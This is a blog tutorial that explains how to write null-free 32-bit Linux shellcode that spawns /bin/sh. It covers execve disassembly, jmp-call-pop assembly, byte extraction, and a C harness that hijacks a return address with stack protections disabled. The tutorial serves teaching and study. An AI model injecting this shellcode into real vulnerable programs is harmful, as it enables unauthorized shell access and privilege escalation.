Paras Chetal's blog

Introduction

In this article I'll walk through the entire process of writing shellcode for linux. Writing your own shellcode is considered by some as some sort of black magic, so I thought I'd make it less murkier through this comprehensive write-up to write shellcode which would spawn a shell. I'll be working on a 64bit Ubuntu 15.10 OS. However in order to better explain the process, I'll be working with 32 bit binaries and x86 assembly. Bear in mind that the addresses(as seen in the disassembled code etc.) will most likely be different in your computers, however the procedure will remain the same as I have explained.

What is shellcode?

"Shellcode" to a beginner in the field of information security is just a bunch of '\x**' characters tied together, which make no sense whatsoever. For instance `\xeb\x18\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x8d\x4e\x08\x89\x46\x0c\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68` is a seemingly unassuming piece of shellcode which when executed will spawn a shell with the permissions of the process which is running it. If a hacker is able to somehow have this small piece of code executed in a commonly used software he could easily become a millionare for having found his own zero day exploit. However, it's not that easy. There are a lot of constraints which come into play (for instance, the length of shellcode) and thus it is essential that one should know how to write and customize their own shellcode.

Syscalls

Syscalls are ways by which user mode interacts with the kernel mode in order to execute operating system specific instructions such as IO, executing a program, exiting a process, reading/writing files etc. Each such syscall has a particular number associated with it. In order to make the syscall, first of all this particular syscall number is loaded into the eax register, then all other syscall parameters are loaded into other registers, and then finally the interrupt instruction `0x80` instruction is executed. Now the CPU is in kernel mode and executes the syscall function.

Let us start by writing a C program to spawn a shell. We'll be executing /bin/sh using the execve(). Looking at the man pages of execve():

```
DESCRIPTION
       execve()  executes the program pointed to by filename.  filename must be either
       a binary executable, or a script starting with a line of the form:

           #! interpreter [optional-arg]

       For details of the latter case, see "Interpreter scripts" below.

       argv is an array of argument strings passed to the new program.  By convention,
       the first of these strings should contain the filename associated with the file
       being executed.  envp is an  array  of  strings,  conventionally  of  the  form
       key=value,  which  are passed as environment to the new program.  Both argv and
       envp must be terminated by a null pointer.  The argument vector and environment
       can be accessed by the called program's main function, when it is defined as:

           int main(int argc, char *argv[], char *envp[])
```

So we'll need to pass the filename "/bin/sh" and argv which is an array of argument strings with the first string as "/bin/sh"(the filename we want to execute). There are no other arguments we require so we'll terminate this array by NULL. We'll not be passing any envp strings.

Here is the program:

```
#include <unistd.h>

int main()
{
    char *getshell[2];
    getshell[0]="/bin/sh";
    getshell[1]=NULL;
    execve(getshell[0], getshell, NULL);
}
```

Let’s see if it works. We compile and run the program. And yes, we get a shell.

```
feignix@PC:~$ gcc shell.c -o shell -m32
feignix@PC:~$ ./shell
$ whoami
feignix
$ exit
feignix@PC:~$ sudo ./shell
$ [sudo] password for feignix:
# whoami
root
#
```

Thus our code works.

Understanding execve() disassembly

Now let’s take a look at a disassembly of the execve function. To do that we’ll compile our program with the *-static* option of gcc (ie. `gcc shell.c -o shell -m32 -static`) in order to prevent dynamic linking and thus allowing us to examine the instructions of execve() using `objdump -d shell`. I have removed the portion of disassembled code which is not important to us right now.

```
[...snip...]

08048bbc <main>:
 8048bbc:       8d 4c 24 04             lea    0x4(%esp),%ecx
 8048bc0:       83 e4 f0                and    $0xfffffff0,%esp
 8048bc3:       ff 71 fc                pushl  -0x4(%ecx)
 8048bc6:       55                      push   %ebp
 8048bc7:       89 e5                   mov    %esp,%ebp
 8048bc9:       51                      push   %ecx
 8048bca:       83 ec 14                sub    $0x14,%esp
 8048bcd:       65 a1 14 00 00 00       mov    %gs:0x14,%eax
 8048bd3:       89 45 f4                mov    %eax,-0xc(%ebp)
 8048bd6:       31 c0                   xor    %eax,%eax
 8048bd8:       c7 45 ec c8 bf 0b 08    movl   $0x80bbfc8,-0x14(%ebp)
 8048bdf:       c7 45 f0 00 00 00 00    movl   $0x0,-0x10(%ebp)
 8048be6:       8b 45 ec                mov    -0x14(%ebp),%eax
 8048be9:       83 ec 04                sub    $0x4,%esp
 8048bec:       6a 00                   push   $0x0
 8048bee:       8d 55 ec                lea    -0x14(%ebp),%edx
 8048bf1:       52                      push   %edx
 8048bf2:       50                      push   %eax
 8048bf3:       e8 08 37 02 00          call   806c300 <__execve>

[...snip...]

0806c300 <__execve>:
 806c300:       53                      push   %ebx
 806c301:       8b 54 24 10             mov    0x10(%esp),%edx
 806c305:       8b 4c 24 0c             mov    0xc(%esp),%ecx
 806c309:       8b 5c 24 08             mov    0x8(%esp),%ebx
 806c30d:       b8 0b 00 00 00          mov    $0xb,%eax
 806c312:       ff 15 b0 ca 0e 08       call   *0x80ecab0
 806c318:       5b                      pop    %ebx
 806c319:       3d 01 f0 ff ff          cmp    $0xfffff001,%eax
 806c31e:       0f 83 dc 3a 00 00       jae    806fe00 <__syscall_error>
 806c324:       c3                      ret

 [...snip...]
```

Let’s try to understand what some of these instructions do.

This copies the address of “/bin/sh” to memory:

`8048bd8: c7 45 ec c8 bf 0b 08 movl $0x80bbfc8,-0x14(%ebp)`

This copies the NULL value to the adjacent memory location:

`8048bdf: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)`

Now the address of “/bin/sh” is copied to the eax register from the memory:

`8048be6: 8b 45 ec mov -0x14(%ebp),%eax`

Now the parameters are pushed to the stack in reverse order, starting from NULL.:

```
8048be9:        83 ec 04                sub    $0x4,%esp
8048bec:        6a 00                   push   $0x0
```

Next, the argv parameter, which is again the address of the getshell[] array, is first copied to the edx register, then pushed onto the stack:

```
8048bee:        8d 55 ec                lea    -0x14(%ebp),%edx
8048bf1:        52                      push   %edx
```

Finally the address of filename(“/bin/sh”) which had been stored in the eax register is pushed onto the stack and execve() is called.

```
8048bf2:        50                      push   %eax
8048bf3:        e8 08 37 02 00          call   806c300 <__execve>
```

Now all execve() has to do is set up the registers and make the syscall. Let’s see how it does that. First it loads the address of NULL to edx, then it loads the address of our getshell[] array to ecx, then loads the address of “/bin/sh” into ebx.

```
806c301:        8b 54 24 10             mov    0x10(%esp),%edx
806c305:        8b 4c 24 0c             mov    0xc(%esp),%ecx
806c309:        8b 5c 24 08             mov    0x8(%esp),%ebx
```

Finally, it places the syscall number of execve(which is 11 or 0xb) into eax, and makes the system interrupt.

```
806c30d:        b8 0b 00 00 00          mov    $0xb,%eax
806c312:        ff 15 b0 ca 0e 08       call   *0x80ecab0
```

Writing your own shellcode

Now that we understand how the call to execve() is done, let’s start writing our own shellcode. We’ll be writing it in Intel syntax. We’ll have to take care of two things though:

- Our shellcode must not contain hardcoded addresses since we don’t want to write shellcode which might not work in other linux systems or other vulnerable programs.
- Our shellcode must not contain \x00 bytes as these are used to terminate a string. Most likely, our shellcode will be placed in some sort of string buffer, and a \x00 byte will not allow the instruction after it to be executed.

Now let’s design how the pseudo assembly code must look so that we don’t have hardcoded addresses. We’ll have to somehow store the base address of the shellcode and use relative addressing thereafter. A common trick to accomplish this is to start our shellcode with a jump instruction and placing the actual shellcode just after it. When the jmp instruction is executed it will automatically push the address following it onto the stack. Here’s how the pseudocode will look like

```
    jmp short    callShellcode
```

```
shellcode:
    .______________________________.
    |                              |
    |   shellcode instructions     |
    |______________________________|


callShellcode:
    call          shellcode
    db            "/bin/shNAAAABBBB"
```

First of all the callShellcode will be called. From callShellcode the call to shellcode will be made. This call will store the address of the string “/bin/shNAAAABBBB” on to the stack. We have used the string “/bin/shNAAAABBBB” insead of “/bin/sh” because we also need to have some memory locations from where we can load the parameters of the execve call to the registers.

Now let’s start writing the contents of the shellcode. First of all we’ll store the address of the first byte of string “/bin/shNAAAABBBB” into esi.

`pop esi`
Next we’ll clear out eax by XORing it with itself.

`xor eax, eax`
Next we’ll NULL terminate the “/bin/sh” string. We also do this so that we can use the same address for our argv array whose contents are “/bin/sh” followed by NULL. The eax register has been filled with NULLs from our previous instruction. The al register is a 8bit register within the eax register which too is therefore NULL. We’ll copy the value of the al register over the ‘N’ character in the string “/bin/shNAAAABBBB”. The offset of ‘N’ from the start of the string is 7. Therefore, our instruction will be:

`mov [esi + 7], al`
Next we’ll be loading the address of our string “/bin/sh” into the ebx register. We can do it in 2 ways, using:

`mov ebx, esi`
or

`lea ebx, [esi]`
Since both these instructions amount to 2 bytes (`\x89\xf3` and `\x8d\x1e` respectively), it won't make any difference to the length of the shellcode.

Next we'll be loading the address of the argv array into the ecx. Bear in mind, it's an address of an array, so it will be something like a pointer to pointer. We'll first need to copy the address of the array("/bin/sh" followed by NULL) to a memory location. Next, we'll load the address of this memory location into the ecx register. The memory location we'll be using is the location of 'AAAA' in our string "/bin/shNAAAABBBB"

```
mov long  [esi + 8], ebx
lea       ecx, [esi + 8]
```

Next we'll be loading the address of four NULL bytes into the edx register. We'll first copy 4 NULL bytes from the eax register to the memory location of 'BBBB' in our initial string '/bin/sh/NAAAABBBB'. Then, we'll load the address of this memory location into the edx register.

```
mov long  [esi + 12], eax
lea       edx, [esi + 12]
```

Finally, we'll load the syscall number(11 or 0xb) to the eax register. However if we use eax in our instruction, the resulting shellcode will contain some NULL(\x00) bytes and we don't want that. Our eax register already is NULL. So we'll just load the syscall number to the al register instead of the entire eax register. Finally, we'll make the system interrupt.

```
mov byte  al, 0x0b
int       0x80
```

The entire assembly code would now look like:

```
Section .text

  global _start

```

```
_start:

  jmp short     callShellcode

shellcode:

  pop           esi
  xor           eax, eax
  mov byte      [esi + 7], al
  lea           ebx, [esi]
  mov long      [esi + 8], ebx
  lea           ecx, [esi + 8]
  mov long      [esi + 12], eax
  lea           edx, [esi + 12]
  mov byte      al, 0x0b
  int           0x80

callShellcode:

  Call          shellcode
  db            '/bin/shNAAAABBBB'
```

Now let’s compile this assembly code using nasm to an elf binary. The last step in compiling the assembly code is using the ld command which *combines a number of object and archive files, relocates their data and ties up symbol references.*(from man pages). Thus we finally have our executable ready.

```
feignix@PC:~$ nasm -f elf shellspawned.asm
feignix@PC:~$ ld -o shellspawned shellspawned.o -m elf_i386
```

Let’s take a look at its disassembly.

```
feignix@PC:~$ objdump -d shellspawned
shellspawned:     file format elf32-i386



Disassembly of section .text:

08048060 <_start>:
 8048060: eb 18                jmp    804807a <callShellcode>

08048062 <shellcode>:
 8048062: 5e                   pop    %esi
 8048063: 31 c0                xor    %eax,%eax
 8048065: 88 46 07             mov    %al,0x7(%esi)
 8048068: 8d 1e                lea    (%esi),%ebx
 804806a: 89 5e 08             mov    %ebx,0x8(%esi)
 804806d: 8d 4e 08             lea    0x8(%esi),%ecx
 8048070: 89 46 0c             mov    %eax,0xc(%esi)
 8048073: 8d 56 0c             lea    0xc(%esi),%edx
 8048076: b0 0b                mov    $0xb,%al
 8048078: cd 80                int    $0x80

0804807a <callShellcode>:
 804807a: e8 e3 ff ff ff       call   8048062 <shellcode>
 804807f: 2f                   das
 8048080: 62 69 6e             bound  %ebp,0x6e(%ecx)
 8048083: 2f                   das
 8048084: 73 68                jae    80480ee <callShellcode+0x74>
 8048086: 4e                   dec    %esi
 8048087: 41                   inc    %ecx
 8048088: 41                   inc    %ecx
 8048089: 41                    inc    %ecx
 804808a: 41                    inc    %ecx
 804808b: 42                    inc    %edx
 804808c: 42                    inc    %edx
 804808d: 42                    inc    %edx
 804808e: 42                    inc    %edx
feignix@PC:~$
```

In order to get the shellcode from this disassembly, we can use a small bash script:

```
for i in `objdump -d shellspawned | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done
```

We get the shellcode output as `\xeb\x18\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x8d\x4e\x08\x89\x46\x0c\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42\x42`. Our shellcode does not contain any \x00 bytes or any hardcoded addresses.

Let’s try running this shellcode through a C program.

```
#include <unistd.h>
#include <string.h>

char
shellcode[]="\xeb\x18\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x8d\x4e\x08\x89\x46\x0c\x8d\x56\x0c\xb0\x0b\xcd\x8
0\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42\x42";
int main()
{
    int *ret;
    /* defines a variable ret which is a pointer to an int. */
    ret = (int *)&ret +2;
    /* makes the ret variable point to an address on the stack which is located at a size 2 int away from it's own
address.
    This is presumably the address on the stack where the return address of main() has been stored. */

    (*ret) = (int)shellcode;
    /* assigns the address of the shellcode to the return address of the main function.
     Thus when main() will exit, it will execute this shellcode instead of exiting normally. */
}
```

We'll compile the C file with the following options:

- -m32: because our shellcode is for 32 bit systems only.
- -fno-stack-protector: This disables the canary stack protection.
- -z execstack: This makes the stack executable by disabling the NX protection.

```
feignix@PC:~$ gcc tryshellcode.c -o tryshellcode -m32 -fno-stack-protector -z execstack
feignix@PC:~$ ./tryshellcode
$ whoami
feignix
$ exit
feignix@PC:~$ sudo ./tryshellcode
[sudo] password for feignix:
# whoami
root
#
```

And Voila! We spawned a shell. Our shellcode is now ready to be put into action in some vulnerable programs. We can actually omit the 'NAAAABBBB' part sometimes in order to shorten our shellcode. The shortened shellcode then becomes `\xeb\x18\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x8d\x4e\x08\x89\x46\x0c\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68`.

The entire process of writing shellcode is a long and tedious one, requiring a lot of patience. However, learning to write shellcode helps in understanding a lot of concepts, and hopefully I was able to help the readers with that. If you have any questions, ask in the comments down below. Also, please correct me if I have been wrong anywhere.

References:

About the author

> I am Paras Chetal, an undergraduate student at IIT Roorkee currently pursuing Bachelors of Technology in Computer Science and Engineering who is passionate about information security, networking and software development. I also regularly participate in CTFs, practice wargames and develop tools and software related to the field of cyber security, all ethically ofcourse.